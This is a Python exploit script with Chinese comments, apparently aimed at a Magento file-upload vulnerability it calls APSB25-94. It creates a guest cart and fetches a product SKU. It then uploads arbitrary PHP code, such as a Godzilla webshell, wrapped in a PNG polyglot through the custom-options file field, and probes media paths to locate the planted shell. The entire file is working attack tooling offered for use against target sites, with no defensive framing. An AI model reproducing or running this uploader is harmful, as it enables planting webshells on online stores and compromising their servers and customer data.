#!/usr/bin/env python3 """ Magento APSB25-94 — 单目标手动上传工具 支持上传自定义文件或直接指定 PHP 代码 用法: # 上传本地文件(如哥斯拉马) python magento_upload.py -u https://target.com -f godzilla.php # 直接指定 PHP 代码 python magento_upload.py -u https://target.com -c '' # 指定上传文件名 python magento_upload.py -u https://target.com -f shell.php -n abc.php # 上传原始文件(不包裹 PNG,直接 base64) python magento_upload.py -u https://target.com -f shell.php --raw # 指定 SKU(跳过自动获取) python magento_upload.py -u https://target.com -c '' -s "SKU-123" """ import requests import base64 import random import string import struct import zlib import argparse import sys import os requests.packages.urllib3.disable_warnings() JSON_HEADERS = {"Accept": "application/json", "Content-Type": "application/json"} TIMEOUT = 30 UPLOAD_PATHS = [ "/pub/media/custom_options/quote/{0}/{1}/{2}", "/media/custom_options/quote/{0}/{1}/{2}", "/pub/media/custom_options/{0}/{1}/{2}", "/media/custom_options/{0}/{1}/{2}", ] def make_png_polyshell(payload_bytes): """将 payload 追加到合法 PNG 末尾""" sig = b'\x89PNG\r\n\x1a\n' def mc(ct, d): raw = ct + d return struct.pack('>I', len(d)) + raw + struct.pack('>I', zlib.crc32(raw) & 0xffffffff) ihdr = mc(b'IHDR', struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)) idat = mc(b'IDAT', zlib.compress(b'\x00\xff\x00\x00')) iend = mc(b'IEND', b'') return sig + ihdr + idat + iend + payload_bytes def get_sku(session, base_url): print("[*] 获取 SKU...") resp = session.post( f"{base_url}/graphql", headers=JSON_HEADERS, json={"query": '{ products(search: "", pageSize: 1) { items { sku } } }'}, timeout=TIMEOUT, verify=False ) sku = resp.json()['data']['products']['items'][0]['sku'] print(f"[+] SKU: {sku}") return sku def create_cart(session, base_url): print("[*] 创建购物车...") resp = session.post( f"{base_url}/rest/default/V1/guest-carts", headers=JSON_HEADERS, timeout=TIMEOUT, verify=False ) cart_id = resp.json() print(f"[+] Cart: {cart_id}") return cart_id def upload(session, base_url, cart_id, sku, b64_data, filename): print(f"[*] 上传: {filename} ({len(b64_data)} b64 chars)...") json_body = { "cart_item": { "product_option": { "extension_attributes": { "custom_options": [{ "extension_attributes": { "file_info": { "base64_encoded_data": b64_data, "name": filename, "type": "image/png" } }, "option_id": "12345", "option_value": "file" }] } }, "qty": 1, "sku": sku } } resp = session.post( f"{base_url}/rest/default/V1/guest-carts/{cart_id}/items", headers=JSON_HEADERS, json=json_body, timeout=TIMEOUT, verify=False ) print(f"[*] 上传响应: HTTP {resp.status_code}") if resp.status_code != 200: print(f" Body: {resp.text[:300]}") return resp def probe_paths(session, base_url, filename): print(f"[*] 探测上传路径...") for tpl in UPLOAD_PATHS: url = base_url + tpl.format(filename[0], filename[1], filename) try: resp = session.get(url, timeout=TIMEOUT, verify=False) code = resp.status_code size = len(resp.content) preview = resp.text[:120].replace('\n', ' ') if code != 404: print(f" [HIT] HTTP {code} | {size}B | {url}") print(f" Body: {preview}") return url, resp else: print(f" [---] HTTP 404 | {url}") except Exception as e: print(f" [ERR] {url} | {e}") return None, None def main(): parser = argparse.ArgumentParser( description="Magento APSB25-94 单目标上传工具", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" 示例: %(prog)s -u https://target.com -c '' %(prog)s -u https://target.com -f godzilla.php %(prog)s -u https://target.com -f shell.php -n custom_name.php %(prog)s -u https://target.com -f shell.php --raw %(prog)s -u https://target.com -c '' -s "24-MB01" """ ) parser.add_argument('-u', '--url', required=True, help="目标 URL") parser.add_argument('-f', '--file', help="要上传的本地文件路径") parser.add_argument('-c', '--code', help="直接指定 PHP 代码字符串") parser.add_argument('-n', '--name', help="自定义上传文件名 (默认随机.php)") parser.add_argument('-s', '--sku', help="手动指定 SKU (跳过自动获取)") parser.add_argument('--raw', action='store_true', help="不包裹 PNG,直接上传原始文件内容") parser.add_argument('--no-probe', action='store_true', help="上传后不探测路径") args = parser.parse_args() if not args.file and not args.code: parser.error("必须指定 -f (文件) 或 -c (代码) 其中之一") raw_url = args.url.strip().rstrip('/') if not raw_url.startswith('http://') and not raw_url.startswith('https://'): raw_url = 'https://' + raw_url base_url = raw_url # 读取 payload if args.file: if not os.path.exists(args.file): print(f"[-] 文件不存在: {args.file}") sys.exit(1) with open(args.file, 'rb') as f: payload_bytes = f.read() print(f"[+] 从文件加载: {args.file} ({len(payload_bytes)} bytes)") else: payload_bytes = args.code.encode('utf-8') print(f"[+] 使用代码: {args.code[:80]}{'...' if len(args.code) > 80 else ''}") # 文件名 if args.name: filename = args.name elif args.file: filename = os.path.basename(args.file) else: filename = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + '.php' # 构造上传数据 if args.raw: b64_data = base64.b64encode(payload_bytes).decode() print(f"[*] 模式: RAW (不包裹 PNG)") else: png_data = make_png_polyshell(payload_bytes) b64_data = base64.b64encode(png_data).decode() print(f"[*] 模式: PNG polyshell ({len(png_data)} bytes)") print(f"[*] 文件名: {filename}") print(f"[*] 目标: {base_url}") print() session = requests.Session() session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' # SKU if args.sku: sku = args.sku print(f"[+] 使用指定 SKU: {sku}") else: try: sku = get_sku(session, base_url) except Exception as e: print(f"[-] SKU 获取失败: {e}") sys.exit(1) # Cart + Upload try: cart_id = create_cart(session, base_url) except Exception as e: print(f"[-] 购物车创建失败: {e}") sys.exit(1) upload(session, base_url, cart_id, sku, b64_data, filename) # 探测 if not args.no_probe: print() url, resp = probe_paths(session, base_url, filename) if url: print(f"\n{'='*60}") print(f"[+] 文件已上传: {url}") print(f"{'='*60}") else: print(f"\n[-] 所有路径均未命中") else: print("\n[*] 跳过路径探测 (--no-probe)") for tpl in UPLOAD_PATHS: print(f" 手动检查: {base_url + tpl.format(filename[0], filename[1], filename)}") if __name__ == "__main__": main()